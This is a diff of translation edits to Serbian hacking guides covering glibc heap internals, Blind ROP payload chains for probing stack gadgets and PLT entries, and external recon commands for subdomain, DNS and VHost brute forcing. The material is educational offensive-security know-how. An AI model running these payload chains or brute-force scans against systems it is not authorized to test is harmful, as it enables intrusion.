3. **Postepeno Širenje sa `mprotect`**:
|
||||||
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
|
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
|
||||||
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
|
||||||
* Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap da bi nastavio alokaciju.
|
* Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap da nastavi alokaciju.
|
||||||
|
|
||||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||||
|
|
||||||
|
@ -159,7 +159,7 @@ Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke,
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
Metapodaci obično imaju 0x08B koji označava trenutnu veličinu dela koristeći poslednja 3 bita da označe:
|
Metapodaci su obično 0x08B koji označava trenutnu veličinu dela koristeći poslednja 3 bita da označi:
|
||||||
|
|
||||||
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
|
||||||
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
|
||||||
|
@ -258,9 +258,9 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||||
return request2size (req);
|
return request2size (req);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo inicijalna glava.
|
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo jednom jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo početna glava.
|
||||||
|
|
||||||
### Preuzmi Chunk podatke i izmeni metapodatke
|
### Dobijanje Chunk podataka i izmjena metapodataka
|
||||||
|
|
||||||
Ove funkcije rade tako što primaju pokazivač na chunk i korisne su za proveru/postavljanje metapodataka:
|
Ove funkcije rade tako što primaju pokazivač na chunk i korisne su za proveru/postavljanje metapodataka:
|
||||||
|
|
||||||
|
@ -351,7 +351,7 @@ people extending or adapting this malloc.
|
||||||
#define clear_inuse_bit_at_offset(p, s) \
|
#define clear_inuse_bit_at_offset(p, s) \
|
||||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||||
```
|
```
|
||||||
* Postavite zaglavlje i podnožje (kada se koriste chunk brojevi)
|
* Postavite zaglavlje i podnožje (kada se koriste brojevi delova)
|
||||||
```c
|
```c
|
||||||
/* Set size at head, without disturbing its use bit */
|
/* Set size at head, without disturbing its use bit */
|
||||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||||
|
@ -362,7 +362,7 @@ people extending or adapting this malloc.
|
||||||
/* Set size at footer (only when chunk is not in use) */
|
/* Set size at footer (only when chunk is not in use) */
|
||||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||||
```
|
```
|
||||||
* Dobijte veličinu stvarno upotrebljivih podataka unutar dela
|
* Dobijte veličinu stvarnih upotrebljivih podataka unutar dela
|
||||||
```c
|
```c
|
||||||
#pragma GCC poison mchunk_size
|
#pragma GCC poison mchunk_size
|
||||||
#pragma GCC poison mchunk_prev_size
|
#pragma GCC poison mchunk_prev_size
|
||||||
|
@ -408,19 +408,19 @@ ptr = malloc(0x10);
|
||||||
strcpy(ptr, "panda");
|
strcpy(ptr, "panda");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Postavite prekid na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
Postavite tačku prekida na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Moguće je videti da je string panda sačuvan na `0xaaaaaaac12a0` (što je adresa koju je vratio malloc unutar `x0`). Proveravajući 0x10 bajtova pre, moguće je videti da `0x0` predstavlja da **prethodni deo nije korišćen** (dužina 0) i da je dužina ovog dela `0x21`.
|
Moguće je videti da je string panda sačuvan na `0xaaaaaaac12a0` (što je adresa koju je vratio malloc unutar `x0`). Proveravajući 0x10 bajtova pre, moguće je videti da `0x0` predstavlja da **prethodni deo nije korišćen** (dužina 0) i da je dužina ovog dela `0x21`.
|
||||||
|
|
||||||
Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B, već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek usklađena sa 16 bajtova (na 64-bitnim mašinama), ovi bitovi se zapravo nikada neće koristiti za broj dužine.
|
Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B, već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek poravnata na 16 bajtova (na 64-bitnim mašinama), ovi bitovi se zapravo nikada neće koristiti za broj dužine.
|
||||||
```
|
```
|
||||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||||
```
|
```
|
||||||
### Multithreading Example
|
### Multithreading Primer
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -470,11 +470,11 @@ return 0;
|
||||||
|
|
||||||
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
|
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
|
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
i unutar nje mogu se naći neki chunks:
|
i unutar nje mogu se naći neki chunks:
|
||||||
|
|
||||||
|
|
|
@ -41,7 +41,7 @@ Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršen
|
||||||
|
|
||||||
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Ovo bi bili gadgeti:
|
Ovo bi bili gadgeti:
|
||||||
|
|
||||||
|
@ -54,7 +54,7 @@ Takođe, primetite da ret2csu gadget ima **veoma jedinstvenu potpis** jer će iz
|
||||||
|
|
||||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||||
|
|
||||||
Ako je **STOP izvršen**, to u suštini znači da je korišćena **adresa koja izbacuje 6 registara** iz steka. Ili da je korišćena adresa koja je takođe bila STOP adresa.
|
Ako je **STOP izvršen**, to u suštini znači da je korišćena **adresa koja izbacuje 6 registara** iz steka. Ili da je korišćena adresa koja je takođe STOP adresa.
|
||||||
|
|
||||||
Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput sledećeg i ne sme izvršiti STOP gadget da bi se potvrdilo da je prethodni izbacivao 6 registara:
|
Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput sledećeg i ne sme izvršiti STOP gadget da bi se potvrdilo da je prethodni izbacivao 6 registara:
|
||||||
|
|
||||||
|
@ -64,7 +64,7 @@ Poznavajući adresu ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kont
|
||||||
|
|
||||||
### 6. Pronađi PLT
|
### 6. Pronađi PLT
|
||||||
|
|
||||||
PLT tabela se može pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server ne pada čak i ako argumenti nisu ispravni. Takođe, provera adrese unosa u **PLT + 6B takođe ne izaziva pad** jer je to prvi kod koji se izvršava.
|
PLT tabela se može pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server ne pada čak i ako argumenti nisu ispravni. Takođe, provera adrese jednog unosa u **PLT + 6B takođe ne izaziva pad** jer je to prvi kod koji se izvršava.
|
||||||
|
|
||||||
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
||||||
|
|
||||||
|
@ -74,7 +74,7 @@ Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
|
||||||
|
|
||||||
### 7. Pronalazak strcmp
|
### 7. Pronalazak strcmp
|
||||||
|
|
||||||
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i potrebno je da bude **veći od 0** kako bismo kasnije koristili `write` za otkrivanje programa.
|
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i treba da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
|
||||||
|
|
||||||
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
|
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
|
||||||
|
|
||||||
|
@ -83,7 +83,7 @@ Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja ko
|
||||||
* strcmp(\<read addr>, \<non read addr>) -> pad
|
* strcmp(\<read addr>, \<non read addr>) -> pad
|
||||||
* strcmp(\<read addr>, \<read addr>) -> nema pada
|
* strcmp(\<read addr>, \<read addr>) -> nema pada
|
||||||
|
|
||||||
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji se želi proveriti** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
|
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno u steku sa **brojem unosa koji se želi ispitati** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
|
||||||
|
|
||||||
* strcmp(\<non read addr>, \<read addr>) -> pad
|
* strcmp(\<non read addr>, \<read addr>) -> pad
|
||||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Izazvaće pad
|
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Izazvaće pad
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Metodologija Eksterne Recon
|
# Metodologija Eksterne Recon
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Obuka AWS Red Team Ekspert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Obuka GCP Red Team Ekspert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -160,7 +160,7 @@ return fhash
|
||||||
```
|
```
|
||||||
### **Copyright / Uniq string**
|
### **Copyright / Uniq string**
|
||||||
|
|
||||||
Pretražujte unutar web stranica **nizove koji bi mogli biti deljeni između različitih webova u istoj organizaciji**. **Copyright string** bi mogao biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
|
Pretražujte unutar web stranica **nizove koji se mogu deliti između različitih webova u istoj organizaciji**. **Copyright string** može biti dobar primer. Zatim pretražujte taj niz u **google-u**, u drugim **pregledačima** ili čak u **shodan-u**: `shodan search http.html:"Copyright string"`
|
||||||
|
|
||||||
### **CRT Time**
|
### **CRT Time**
|
||||||
|
|
||||||
|
@ -204,7 +204,7 @@ If you find any **domain with an IP different** from the ones you already found
|
||||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
**Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||||
}
|
}
|
||||||
crt tesla.com
|
crt tesla.com
|
||||||
```
|
```
|
||||||
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL adrese iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
|
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove iz AlienVault-ove Open Threat Exchange, Wayback Machine i Common Crawl za bilo koju datu domenu.
|
||||||
```bash
|
```bash
|
||||||
# Get subdomains from GAUs found URLs
|
# Get subdomains from GAUs found URLs
|
||||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||||
|
@ -337,7 +337,7 @@ python3 censys-subdomain-finder.py tesla.com
|
||||||
```bash
|
```bash
|
||||||
python3 DomainTrail.py -d example.com
|
python3 DomainTrail.py -d example.com
|
||||||
```
|
```
|
||||||
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istoriju IP adresa
|
* [**securitytrails.com**](https://securitytrails.com/) ima besplatan API za pretragu subdomena i istorije IP adresa
|
||||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||||
|
|
||||||
Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
Ovaj projekat nudi **besplatno sve subdomene povezane sa bug-bounty programima**. Ove podatke možete pristupiti i koristeći [chaospy](https://github.com/dr-0x0x/chaospy) ili čak pristupiti opsegu koji koristi ovaj projekat [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||||
|
@ -356,11 +356,11 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Najpreporučivaniji alati za DNS brute-force su:
|
Najpreporučivaniji alati za DNS brute-force su:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izvršio efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izveo DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
|
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||||
```
|
```
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može takođe pokušati da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
|
||||||
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
|
@ -414,7 +414,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
|
|
||||||
#### Generisanje pametnih permutacija
|
#### Generisanje pametnih permutacija
|
||||||
|
|
||||||
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u osnovi uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
|
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html), ali će u suštini uzeti **glavne delove** iz **otkrivenih poddomena** i mešati ih kako bi pronašao više poddomena.
|
||||||
```bash
|
```bash
|
||||||
python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
|
@ -434,7 +434,7 @@ Pogledajte ovaj blog post koji sam napisao o tome kako da **automatizujem otkriv
|
||||||
|
|
||||||
### **VHosts / Virtuelni hostovi**
|
### **VHosts / Virtuelni hostovi**
|
||||||
|
|
||||||
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tako što ćete tražiti u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
|
Ako ste pronašli IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati da **pronađete druge poddomene sa web stranicama na toj IP adresi** tražeći u **OSINT izvorima** za domene na IP-u ili **brute-forcing VHost imena domena na toj IP adresi**.
|
||||||
|
|
||||||
#### OSINT
|
#### OSINT
|
||||||
|
|
||||||
|
@ -442,7 +442,7 @@ Možete pronaći neke **VHosts na IP-ovima koristeći** [**HostHunter**](https:/
|
||||||
|
|
||||||
**Brute Force**
|
**Brute Force**
|
||||||
|
|
||||||
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute force-ujete:
|
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
|
||||||
```bash
|
```bash
|
||||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||||
|
|
||||||
|
@ -457,7 +457,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ovom tehnikom možda ćete moći da pristupite internim/skrivenim krajnjim tačkama.
|
Ovom tehnikom možda ćete moći da pristupite internim/sakrivenim krajnjim tačkama.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **CORS Brute Force**
|
### **CORS Brute Force**
|
||||||
|
@ -471,42 +471,42 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||||
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
Dok tražite **subdomene**, obratite pažnju da li se **upučuju** na neku vrstu **buckets**, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
Takođe, pošto ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
Takođe, pošto ćete u ovom trenutku znati sve domene unutar opsega, pokušajte da [**brute force-ujete moguće nazive buckets i proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
### **Monitorizacija**
|
### **Monitorization**
|
||||||
|
|
||||||
Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Certificate Transparency** logova [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||||
|
|
||||||
### **Traženje ranjivosti**
|
### **Looking for vulnerabilities**
|
||||||
|
|
||||||
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
Proverite moguće [**subdomain takeover**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||||
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
Ako pronađete neku **subdomenu sa IP-om koji se razlikuje** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. U zavisnosti od toga koji servisi rade, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
